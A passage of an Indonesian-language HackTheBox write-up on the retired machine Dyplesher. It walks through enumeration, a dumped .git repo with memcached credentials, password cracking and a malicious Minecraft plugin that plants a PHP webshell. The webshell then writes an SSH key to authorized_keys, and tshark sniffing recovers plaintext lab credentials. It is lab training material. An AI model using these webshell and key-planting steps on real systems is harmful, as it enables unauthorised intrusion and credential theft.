hackthebox-machine-writeups

This repository contains writeups of retired HackTheBox's Machines that I've solved, new writeups will be uploaded once it is retired

View on GitHub

Dyplesher (Linux)

Image

HackTheBox Dyplesher dengan difficulty Insane! Box pertama yang penulis solve dengan difficulty Insane yang tentunya memakan waktu cukup lama, berhari-hari dan butuh tidur larut malam, bahkan sampai pagi. Penulis mendapat banyak sekali pengetahuan baru dari box ini dan berpendapat bahwa box ini sangat worth it waktu yang dihabiskan untuk mempelajarinya.

Enumeration

Pertama mari kita mulai port scanning untuk mengetahui port apa saja yang terbuka di machine ini

Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-11 02:32 EDT
Nmap scan report for 10.10.10.190
Host is up (0.031s latency).
Not shown: 65525 filtered ports
PORT      STATE  SERVICE    VERSION
22/tcp    open   ssh        OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:ca:81:78:ec:27:8f:50:60:db:79:cf:97:f7:05:c0 (RSA)
|   256 e0:d7:c7:9f:f2:7f:64:0d:40:29:18:e1:a1:a0:37:5e (ECDSA)
|_  256 9f:b2:4c:5c:de:44:09:14:ce:4f:57:62:0b:f9:71:81 (ED25519)
80/tcp    open   http       Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyplesher
3000/tcp  open   ppp?
| fingerprint-strings: 
|   GenericLines, Help: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gogs=1102a03c1fec9436; Path=/; HttpOnly
|     Set-Cookie: _csrf=aLnpqrWSYT9ehO1_AwjdhaC7kXw6MTYwMjM5ODA3OTc0MjA2ODA4Nw%3D%3D; Path=/; Expires=Mon, 12 Oct 2020 06:34:39 GMT; HttpOnly
|     Date: Sun, 11 Oct 2020 06:34:39 GMT
|     <!DOCTYPE html>
|     <html>
|     <head data-suburl="">
|     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
|     <meta name="author" content="Gogs" />
|     <meta name="description" content="Gogs is a painless self-hosted Git service" />
|     <meta name="keywords" content="go, git, self-hosted, gogs">
|     <meta name="referrer" content="no-referrer" />
|     <meta name="_csrf" content="aLnpqrWSYT9ehO1_AwjdhaC7kXw6MTYwMjM5ODA3OTc0MjA2ODA4Nw==" />
|     <meta name="_suburl" content="" />
|     <meta proper
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gogs=a67678ead16de18b; Path=/; HttpOnly
|     Set-Cookie: _csrf=nbaVUo-mezKGIT6Zi50XFgRMrtY6MTYwMjM5ODA4NDkyMzMxMjY4OQ%3D%3D; Path=/; Expires=Mon, 12 Oct 2020 06:34:44 GMT; HttpOnly
|     Date: Sun, 11 Oct 2020 06:34:44 GMT
|     <!DOCTYPE html>
|     <html>
|     <head data-suburl="">
|     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
|     <meta name="author" content="Gogs" />
|     <meta name="description" content="Gogs is a painless self-hosted Git service" />
|     <meta name="keywords" content="go, git, self-hosted, gogs">
|     <meta name="referrer" content="no-referrer" />
|     <meta name="_csrf" content="nbaVUo-mezKGIT6Zi50XFgRMrtY6MTYwMjM5ODA4NDkyMzMxMjY4OQ==" />
|     <meta name="_suburl" content="" />
|_    <meta
4369/tcp  open   epmd       Erlang Port Mapper Daemon
| epmd-info: 
|   epmd_port: 4369
|   nodes: 
|_    rabbit: 25672
5672/tcp  open   amqp       RabbitMQ 3.7.8 (0-9)
| amqp-info: 
|   capabilities: 
|     publisher_confirms: YES
|     exchange_exchange_bindings: YES
|     basic.nack: YES
|     consumer_cancel_notify: YES
|     connection.blocked: YES
|     consumer_priorities: YES
|     authentication_failure_close: YES
|     per_consumer_qos: YES
|     direct_reply_to: YES
|   cluster_name: rabbit@dyplesher
|   copyright: Copyright (C) 2007-2018 Pivotal Software, Inc.
|   information: Licensed under the MPL.  See http://www.rabbitmq.com/
|   platform: Erlang/OTP 22.0.7
|   product: RabbitMQ
|   version: 3.7.8
|   mechanisms: PLAIN AMQPLAIN
|_  locales: en_US
11211/tcp open   memcache?
25562/tcp open   unknown
25565/tcp open   minecraft?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, LDAPSearchReq, LPDString, SIPOptions, SSLSessionReq, TLSSessionReq, afp, ms-sql-s, oracle-tns: 
|     '{"text":"Unsupported protocol version"}
|   NotesRPC: 
|     q{"text":"Unsupported protocol version 0, please use one of these versions:
|_    1.8.x, 1.9.x, 1.10.x, 1.11.x, 1.12.x"}
25572/tcp closed unknown
25672/tcp open   unknown
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3000-TCP:V=7.80%I=7%D=10/11%Time=5F82A77E%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2063,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:
SF:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/
SF:;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gogs=1102a03c1fec9436;
SF:\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=aLnpqrWSYT9ehO1_AwjdhaC
SF:7kXw6MTYwMjM5ODA3OTc0MjA2ODA4Nw%3D%3D;\x20Path=/;\x20Expires=Mon,\x2012
SF:\x20Oct\x202020\x2006:34:39\x20GMT;\x20HttpOnly\r\nDate:\x20Sun,\x2011\
SF:x20Oct\x202020\x2006:34:39\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<h
SF:ead\x20data-suburl=\"\">\n\t<meta\x20http-equiv=\"Content-Type\"\x20con
SF:tent=\"text/html;\x20charset=UTF-8\"\x20/>\n\t<meta\x20http-equiv=\"X-U
SF:A-Compatible\"\x20content=\"IE=edge\"/>\n\t\n\t\t<meta\x20name=\"author
SF:\"\x20content=\"Gogs\"\x20/>\n\t\t<meta\x20name=\"description\"\x20cont
SF:ent=\"Gogs\x20is\x20a\x20painless\x20self-hosted\x20Git\x20service\"\x2
SF:0/>\n\t\t<meta\x20name=\"keywords\"\x20content=\"go,\x20git,\x20self-ho
SF:sted,\x20gogs\">\n\t\n\t<meta\x20name=\"referrer\"\x20content=\"no-refe
SF:rrer\"\x20/>\n\t<meta\x20name=\"_csrf\"\x20content=\"aLnpqrWSYT9ehO1_Aw
SF:jdhaC7kXw6MTYwMjM5ODA3OTc0MjA2ODA4Nw==\"\x20/>\n\t<meta\x20name=\"_subu
SF:rl\"\x20content=\"\"\x20/>\n\t\n\t\n\t\n\t\t<meta\x20proper")%r(Help,67
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x2
SF:0charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r
SF:(HTTPOptions,189F,"HTTP/1\.0\x20404\x20Not\x20Found\r\nContent-Type:\x2
SF:0text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;\x
SF:20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gogs=a67678ead16de18b;\x2
SF:0Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=nbaVUo-mezKGIT6Zi50XFgRMrt
SF:Y6MTYwMjM5ODA4NDkyMzMxMjY4OQ%3D%3D;\x20Path=/;\x20Expires=Mon,\x2012\x2
SF:0Oct\x202020\x2006:34:44\x20GMT;\x20HttpOnly\r\nDate:\x20Sun,\x2011\x20
SF:Oct\x202020\x2006:34:44\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<head
SF:\x20data-suburl=\"\">\n\t<meta\x20http-equiv=\"Content-Type\"\x20conten
SF:t=\"text/html;\x20charset=UTF-8\"\x20/>\n\t<meta\x20http-equiv=\"X-UA-C
SF:ompatible\"\x20content=\"IE=edge\"/>\n\t\n\t\t<meta\x20name=\"author\"\
SF:x20content=\"Gogs\"\x20/>\n\t\t<meta\x20name=\"description\"\x20content
SF:=\"Gogs\x20is\x20a\x20painless\x20self-hosted\x20Git\x20service\"\x20/>
SF:\n\t\t<meta\x20name=\"keywords\"\x20content=\"go,\x20git,\x20self-hoste
SF:d,\x20gogs\">\n\t\n\t<meta\x20name=\"referrer\"\x20content=\"no-referre
SF:r\"\x20/>\n\t<meta\x20name=\"_csrf\"\x20content=\"nbaVUo-mezKGIT6Zi50XF
SF:gRMrtY6MTYwMjM5ODA4NDkyMzMxMjY4OQ==\"\x20/>\n\t<meta\x20name=\"_suburl\
SF:"\x20content=\"\"\x20/>\n\t\n\t\n\t\n\t\t<meta");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port25565-TCP:V=7.80%I=7%D=10/11%Time=5F82A7A1%P=x86_64-pc-linux-gnu%r(
SF:DNSVersionBindReqTCP,2A,"\)\0'{\"text\":\"Unsupported\x20protocol\x20ve
SF:rsion\"}")%r(DNSStatusRequestTCP,2A,"\)\0'{\"text\":\"Unsupported\x20pr
SF:otocol\x20version\"}")%r(SSLSessionReq,2A,"\)\0'{\"text\":\"Unsupported
SF:\x20protocol\x20version\"}")%r(TLSSessionReq,2A,"\)\0'{\"text\":\"Unsup
SF:ported\x20protocol\x20version\"}")%r(LPDString,2A,"\)\0'{\"text\":\"Uns
SF:upported\x20protocol\x20version\"}")%r(LDAPSearchReq,2A,"\)\0'{\"text\"
SF::\"Unsupported\x20protocol\x20version\"}")%r(SIPOptions,2A,"\)\0'{\"tex
SF:t\":\"Unsupported\x20protocol\x20version\"}")%r(NotesRPC,74,"s\0q{\"tex
SF:t\":\"Unsupported\x20protocol\x20version\x200,\x20please\x20use\x20one\
SF:x20of\x20these\x20versions:\n1\.8\.x,\x201\.9\.x,\x201\.10\.x,\x201\.11
SF:\.x,\x201\.12\.x\"}")%r(oracle-tns,2A,"\)\0'{\"text\":\"Unsupported\x20
SF:protocol\x20version\"}")%r(ms-sql-s,2A,"\)\0'{\"text\":\"Unsupported\x2
SF:0protocol\x20version\"}")%r(afp,2A,"\)\0'{\"text\":\"Unsupported\x20pro
SF:tocol\x20version\"}");
Aggressive OS guesses: HP P2000 G3 NAS device (91%), Linux 2.6.32 (90%), Linux 2.6.32 - 3.1 (90%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (90%), Linux 3.7 (90%), Ubiquiti AirOS 5.5.9 (90%), Ubiquiti Pico Station WAP (AirOS 5.2.6) (89%), Linux 2.6.32 - 3.13 (89%), Linux 3.0 - 3.2 (89%), Infomir MAG-250 set-top box (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 25572/tcp)
HOP RTT       ADDRESS
1   115.35 ms 10.10.14.1
2   41.58 ms  10.10.10.190

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 289.29 seconds

Kali ini kita dihadirkan dengan machine Linux yang port nya banyak dan asing di mata penulis

Yap betul, anda tidak salah lihat, memang ada minecraft server yang di hosting didalam machine ini. Penulis tau karena dulu penulis sangat menggemari minecraft dan pernah me-manage bukkit minecraft server yang di port forward di default port 25565

Setelah menambahkan dyplesher.htb ke /etc/hosts , kita bisa mulai enumerasi awal di website port 80

Image

Tampilan awal website seperti ini, dan kita mendapatkan subdomain baru yang bisa dilakukan pengecekan yaitu test.dyplesher.htb

Image

Ternyata subdomain test.dyplesher.htb adalah semacam form submission untuk memcached server

Penulis melakukan directory bruteforcing pada kedua subdomain dan mendapatkan hasil berupa

DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Tue Oct 13 02:04:17 EDT 2020
--------------------------------

http://dyplesher.htb:80
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/

Dirs found with a 403 response:

/img/
/icons/
/js/
/css/
/icons/small/
/fonts/
/fonts/vendor/


--------------------------------
Files found during testing:

Files found with a 200 responce:

/login
/index.php
/staff
/index.php/staff
/js/modernizr-2.8.3.min.js
/js/jquery-2.2.4.min.js
/img/ca.svg
/js/popper.min.js
/img/fb.svg
/img/tr.svg
/img/yt.svg
/js/owl.carousel.min.js
/js/serial.js
/js/metisMenu.min.js
/js/jquery.slimscroll.min.js
/js/jquery.slicknav.min.js
/js/app.js
/js/plugins.js
/js/scripts.js
/js/maps.js
/js/j.js
/robots.txt

Files found with a 302 responce:

/home
/register

Files found with a 301 responce:

/img
/css
/icons/small
/js
/fonts
/fonts/vendor

Files found with a 405 responce:

/logout


--------------------------------

Hal menarik yang bisa ditemukan pada dyplesher.htb adalah

Image

Kita tahu sekarang terdapat login portal tersembunyi pada dyplesher.htb/login yang sepertinya hanya diperuntukan bagi staff management

Image

Kita mendapatkan 3 username / nama yang bisa kita buat menjadi wordlist pada login form yang kita temukan diatas

MinatoTW@dyplesher.htb
felamos@dyplesher.htb
yuntao@dyplesher.htb

Kita simpan dulu sementara ketiga wordlist entries tersebut sampai kita menemukan password yang cocok digunakan.

DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Sun Oct 11 08:28:15 EDT 2020
--------------------------------

http://test.dyplesher.htb:80
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/

Dirs found with a 403 response:

/icons/
/icons/small/
/.git/
/.git/info/
/.git/logs/
/.git/objects/
/.git/objects/info/
/.git/objects/27/
/.git/objects/b1/
/.git/branches/


--------------------------------
Files found during testing:

Files found with a 200 responce:

/index.php


--------------------------------

Ada directory .git mari kita coba keluarkan info sebanyak banyaknya menggunakan gitdumper

https://github.com/arthaud/git-dumper/blob/master/git-dumper.py

Image

Terdapat index.php yang berisi sebagai berikut

<HTML>
<BODY>
<h1>Add key and value to memcache<h1>
<FORM METHOD="GET" NAME="test" ACTION="">
<INPUT TYPE="text" NAME="add">
<INPUT TYPE="text" NAME="val">
<INPUT TYPE="submit" VALUE="Send">
</FORM>

<pre>
<?php
if($_GET['add'] != $_GET['val']){
	$m = new Memcached();
	$m->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
	$m->setSaslAuthData("felamos", "zxcvbnm");
	$m->addServer('127.0.0.1', 11211);
	$m->add($_GET['add'], $_GET['val']);
	echo "Done!";
}
else {
	echo "its equal";
}
?>
</pre>

</BODY>
</HTML>

Kita mendapatkan credential felamos untuk mengakses memcached server, mari kita coba untuk login sebagai felamos.

Biasanya kita bisa membuka koneksi ke memcached server di port 11211 dengan menggunakan Telnet , namun menurut Index.php tadi server memcached ini mengimplementasikan SASL authentication

https://docs.oracle.com/cd/E23824_01/html/819-2145/sasl.intro.20.html

Penulis sempat mencoba menggunakan telnet, namun tidak menemukan cara menggunakan credential felamos yang kita dapatkan tadi, jadi penulis menggunakan cara lain yaitu memcached-cli

https://www.npmjs.com/package/memcached-cli

Image

Setelah mencoba cracking password menggunakan John The Ripper Jumbo dan wordlist rockyou.txt, penulis mendapatkan salah satu password dari ketiga staff tadi

Image

Namun ternyata kombinasi username dan password tadi tidak bisa digunakan di login portal pada dyplesher.htb/login jadi penulis melakukan step back, kembali ke hasil nmap dan coba untuk mengalihkan fokus pada port 3000 yaitu Gogs

Image

https://gogs.io/

Tampilan awal service Gogs yang berjalan pada port 3000 adalah sebagai diatas. Gogs adalah service git yang bisa dijalankan di local machine. Jadi ibaratnya seperti GitHub tapi tidak di host pada server GitHub namun pada server sendiri / local. Fiturnya bahkan sampai design UI nya menyerupai GitHub sehingga membuat pengguna mudah terbiasa dengan fitur fitur nya.

Image

Image

Penulis berhasil login kedalam dashboard felamos menggunakan credential felamos@dyplesher.htb:mommy1 dan setelah enumerasi file file yang ada pada git repo tersebut, penulis menemukan sebuah release yang sepertinya menjanjikan (karena file lainnya yang di enumerasi sebelumnya tidak ada isinya), namun kali ini penulis menemukan sebuah repo.zip

Image

Di download dan dilihat isinya

root@kali:~/Documents/htb/dyplesher/gitclone/felamos/releases/repo/repositories/@hashed# ls -R
.:
4b  4e  6b  d4

./4b:
22

./4b/22:
4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.bundle

./4e:
07

./4e/07:
4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce  4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce.bundle

./4e/07/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce:

./6b:
86

./6b/86:
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b.bundle

./d4:
73

./d4/73:
d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35.bundle

File .bundle yang bisa ditemukan di directory @hashed diatas adalah git bundle, yaitu sebuah binary file yang berisi sebuah “git push” yang kemudan bisa di git clone untuk melihat isi didalamnya layaknya push biasa namun lebih mudah di distribusikan karena tidak memerlukan hubungan khusus terhadap git repo pemilik bundle nya.

Pada tahap ini penulis melakukan git clone terhadap semua bundle file

root@kali:~/Documents/htb/dyplesher/gitclone/felamos/bundle# ls -R
.:
4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a         6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.bundle  6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b.bundle
4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce         d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35
4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce.bundle  d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35.bundle

./4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a:
LICENSE  README.md  src

./4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a/src:
VoteListener.py

./4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce:
banned-ips.json      commands.yml         help.yml         plugins    sc-mqtt.jar        start.command   world
banned-players.json  craftbukkit-1.8.jar  ops.json         python     server.properties  usercache.json  world_the_end
bukkit.yml           eula.txt             permissions.yml  README.md  spigot-1.8.jar     whitelist.json

./4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins:
LoginSecurity  LoginSecurity.jar  PluginMetrics

./4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity:
authList  config.yml  users.db

./4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/PluginMetrics:
config.yml

./4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/python:
pythonMqtt.py

./4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/world:
data  level.dat  level.dat_mcr  level.dat_old  playerdata  region  session.lock  uid.dat

./4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/world/data:
villages.dat  villages_end.dat

./4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/world/playerdata:
18fb40a5-c8d3-4f24-9bb8-a689914fcac3.dat

./4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/world/region:
r.0.0.mca  r.-1.0.mca

./4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/world_the_end:
DIM1  level.dat  level.dat_old  session.lock  uid.dat

./4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/world_the_end/DIM1:
region

./4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/world_the_end/DIM1/region:
r.0.0.mca  r.0.-1.mca  r.-1.0.mca  r.-1.-1.mca

./6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b:
LICENSE  phpbash.min.php  phpbash.php  README.md

./d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35:
LICENSE.txt  nightminer.py  README.md

File file yang terdapat pada bundle file tadi ternyata adalah file yang biasanya ditemukan pada minecraft server folder. Seperti region dan world save data, server config dan property dari sini kita juga bisa mengetahui server menggunakan Spigot 1.8

Namun ada file yang lebih menarik untuk dibuka terlebih dahulu yaitu users.db

users.db: SQLite 3.x database, last written using SQLite version 3027002

Bisa kita buka menggunakan sqlite3

Image

Dari tampilannya bisa dilihat bahwa penulis menemukan sebuah hashed password lagi, mari kita coba crack dengan John The Ripper lagi

Image

Mari kita coba gunakan untuk login kedalam website login portal di port 80 yang tadi sudah kita tinggalkan sejenak dengan email yang sudah kita kumpulkan dan lihat yang mana yang berhasil digunakan untuk login.

Image

Kita bisa masuk kedalam dashboard felamos yang sepertinya adalah webapp untuk manage server dengan fitur-fitur tambahan seperti Add Plugin, Reload Plugin dan lain lain. Pada console view kita bisa mengetahui bahwa server menggunakan Plug-Man untuk plugin management di server minecraft tersebut.

Image

Dari sini penulis sempat ragu apa yang akan dilakukan, sempat dalam tahap in denial juga karena tidak terpikir harus membuat malicious minecraft plugin. Tapi untungnya waktu penulis mengerjakan box ini sangat tepat dengan jadwal kurikulum di universitas penulis yang termasuk Java Programming jadi sangat menguntungkan bagi penulis.

Note : Penulis mendapatkan nudge dari forum HackTheBox untuk “Membuat RCE yang mudah untuk di debug, di subdomain yang sudah anda ketahui”

Penulis berencana untuk membuat webshell sederhana dengan payload PHP pamungkas system($_GET[‘cmd’]) dengan cara menanamkan file baru pada subdomain test.dyplesher.htb

Disini dimulai siksaan penulis dalam mencoba-coba membuat minecraft plugin malicious dari beberapa reference, pada awalnya penulis menggunakan Eclipse IDE

https://www.youtube.com/watch?v=r4W4drYdb4Q&ab_channel=CodedRed

https://www.vogella.com/tutorials/JavaIO/article.html

Penulis sudah mencoba membuat beberapa script

Namun tidak ada satupun yang berhasil padahal sepertinya script yang digunakan sudah benar, penulis akhirnya memiliki pikiran bahwa hal yang salah bukan terletak pada scriptnya sendiri namun pada dependency nya saat melakukan import Spigot jarfile dan import JDK

Jadi penulis mengulang progress di IDE lain bernama IntelliJ dan menggunakan maven untuk pengaturan dependency sehingga tidak perlu download dan import manual, hanya perlu menuliskan di file xml untuk build dependency. Penulis menggunakan reference dari link https://www.spigotmc.org/wiki/creating-a-plugin-with-maven-using-intellij-idea/

Image

File structure pada IntelliJ bisa dilihat diatas

Image

File .java bisa dilihat diatas. Kita akan kembali ke rencana awal yaitu membuat simple webshell masih memacu terhadap nudge yang penulis dapatkan dari forum HackTheBox

Image

File plugin.yml ini diperlukan agar Spigot dan Plug-Man bisa mengidentifikasi nama plugin dan letak file Main.java

Image

File pom.xml adalah Project Object Model file yang berisi dependency dari project yang sedang kita build. Ada satu hal yang tidak di cover pada reference spigotmc diatas, yaitu pada saat proses compiling harus disertakan line maven.compiler 1.8 agar versi JDK yang digunakan adalah 1.8, karena jika tidak diberikan IntelliJ akan menggunakan default setting yaitu JDK 1.5 sehingga code tidak akan tercompile sukses

Step selanjutnya kita akan upload .jar file kita dan reload plugin untuk metrigger onEnable yang akan melakukan php script injection

Image

Image

Image

Mantap kita sudah mendapat RCE dan berhasil melakukan whoami

Penulis kemudian mencoba membuka reverse shell menggunakan beberapa payload berbeda seperti python, netcat, bash namun tidak ada yang berhasil. Sepertinya pada machine ini terdapat firewall yang melakukan restriction connectin outbound

Jadi cara yang memungkinkan adalah dengan memasukkan ssh public key kita kedalam /home/MinatoTW/.ssh/authorized_keys menggunakan webshell yang sudah kita miliki saat ini

http://test.dyplesher.htb/rev.php?cmd=echo%20ssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQC7ujNTqjCu3sovW2WgNZF5ErZXaGa5TrwLhvEaFu2NVv9GTGKtE8wRymiRYhzppfTJ7ycBetXoj7jb6AAKRTEmC9B2CI2%2BtyhvEtrDYpooCm2xUPA%2FCxhiLByi8x2ucdV7SYiaI0HhuYthFqS%2BoQPk6eD0nkIWY%2FiPpA1xsremhsft6fhRnedlqVXgGNULGJaUIYJFk9IPm3Zt5OzCLc5Sldpg%2Fc8loLIBb6VF7zMM3hvXgJ<--CENSORED-->QLmEv%2FWkrY1TvG7ps83envBkKnQoMFSQbK9SWMiQWRH3SrneLS%2Bc7YNGP08ADT4oGpRQspBHstnt3vWS1p3x6wTUnZqqO81onShvE%3D%20root%40kali%20%3E%20%2Fhome%2FMinatoTW%2F.ssh%2Fauthorized_keys

User

Image

Kita berhasil masuk sebagai MinatoTW, kenapa kita bisa SSH tapi tidak bisa reverse shell? Karena SSH termasuk inbound connection dan tidak diblock oleh firewall

Image

Pada enumerasi awal, kita mengetahui bahwa MinatoTW termasuk dalam group “wireshark” jadi penulis mencari semua file yang berakhiran dengan shark untuk melihat jika kita memiliki akses ke tshark untuk melakukan sniffing pada local network ini.

Image

Ternyata kita bisa menggunakan tshark, mari kita coba melakukan sniffing dengan referensi dari https://duck.co/ia/view/tshark_cheat_sheet

Image

Perlu diperhatikan network interface yang perlu kita sniff adalah local / loopback sehingga kita harus mengecek nama interface yang berkorespondensi terhadap local address 127.0.0.1

Kita sudah berhasil melakukan sniffing dan mendapatkan file .pcap dan untuk menganlisanya penulis akan menggunakan wireshark di mesin lokal penulis. Perlu diingat bahwa outbound connection masih belum bisa digunakan karena masih ada firewall, penulis menggunakan scp untuk membypass rule firewall tersebut.

$ scp -i id_rsa MinatoTW@dyplesher.htb:/home/MinatoTW/dyplesher.pcap /root/Documents/htb/dyplesher/dyplesher.pcap

Note : Penulis memiliki kesulitan melakukan write ke dyplesher.htb (/var/www/html) dan untuk melakukan debug jika plugin gagal berjalan atau ada kesalahan dependency harus melakukan box reset yang terbatas 1x reset per 24 jam. Jadi kebetulan penulis berhasil mendapatkan webshell di /var/www/test penulis melihat bahwa folder /var/www dimiliki MinatoTW sehingga otomatis seharusnya tidak ada masalah melakukan write webshell php tadi ke /var/www/html.

Image

Image

Setelah melakukan follow pada TCP Stream penulis menemukan login credentials dari ketiga owner dan 1 credential login AQMPlain

MinatoTW@dyplesher.htb : bihys1amFov
yuntao@dyplesher.htb : wagthAw4ob : EashAnicOc3Op
felamos@dyplesher.htb : tieb0graQueg

Menggunakan credentials diatas, penulis bisa login SSH ke account felamos dan mendapatkan user.txt

Image

Root

Pada directory “yuntao” di home directory felamos kita bisa menemukan sebuah file send.sh yang isinya seperti dibawah ini

#!/bin/bash

echo 'Hey yuntao, Please publish all cuberite plugins created by players on plugin_data "Exchange" and "Queue". Just send url to download plugins and our new code will review it and working plugins will be added to the server.' >  /dev/pts/{}

Pada titik ini penulis harus banyak membaca dan sering kali stepback untuk bisa mengerti lebih baik maksud dari pesan ini. Jika kita melihat kembali di hasil nmap di awal kita bisa melihat ada service RabbitMQ yang berjalan di port 5672 dan menggunakan protocol AQMP.

RabbitMQ adalah software open-source yang berfungsi sebagai broker pesan yang menggunakan implementasi protocol AQMP (Advanced Message Queueing Protocol)

Image

Image

Routing key yang digunakan menurut note yang diberikan felamos terhadap yuntao adalah kita harus menggunakan key “plugin_data” yang message didalamnya berisi url plugin yang perlu di download dan di install kedalam server minecraft oleh “New Code”

Pada tahap ini penulis mencari apakah yang dimaksud dengan “New Code” yang disebutkan di message sebelumnya agar kita tahu seperti apa plugin yang diterima oleh sistem tersebut.

Menjalankan LinEnum.sh yang versi terbaru (sangat recommended karena baru di update 10 bulan yang lalu)

Berikut hasil LinEnum di bagian running processes

### SERVICES #############################################
[-] Running processes:
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2 166936 10892 ?        Ss   05:57   0:02 /sbin/init maybe-ubiquity
root         2  0.0  0.0      0     0 ?        S    05:57   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   05:57   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   05:57   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   05:57   0:00 [kworker/0:0H]
root         9  0.0  0.0      0     0 ?        I<   05:57   0:00 [mm_percpu_wq]
root        10  0.0  0.0      0     0 ?        S    05:57   0:00 [ksoftirqd/0]
root        11  0.0  0.0      0     0 ?        I    05:57   0:00 [rcu_sched]
root        12  0.0  0.0      0     0 ?        S    05:57   0:00 [migration/0]
root        13  0.0  0.0      0     0 ?        S    05:57   0:00 [idle_inject/0]
root        14  0.0  0.0      0     0 ?        S    05:57   0:00 [cpuhp/0]
root        15  0.0  0.0      0     0 ?        S    05:57   0:00 [cpuhp/1]
root        16  0.0  0.0      0     0 ?        S    05:57   0:00 [idle_inject/1]
root        17  0.0  0.0      0     0 ?        S    05:57   0:00 [migration/1]
root        18  0.0  0.0      0     0 ?        S    05:57   0:00 [ksoftirqd/1]
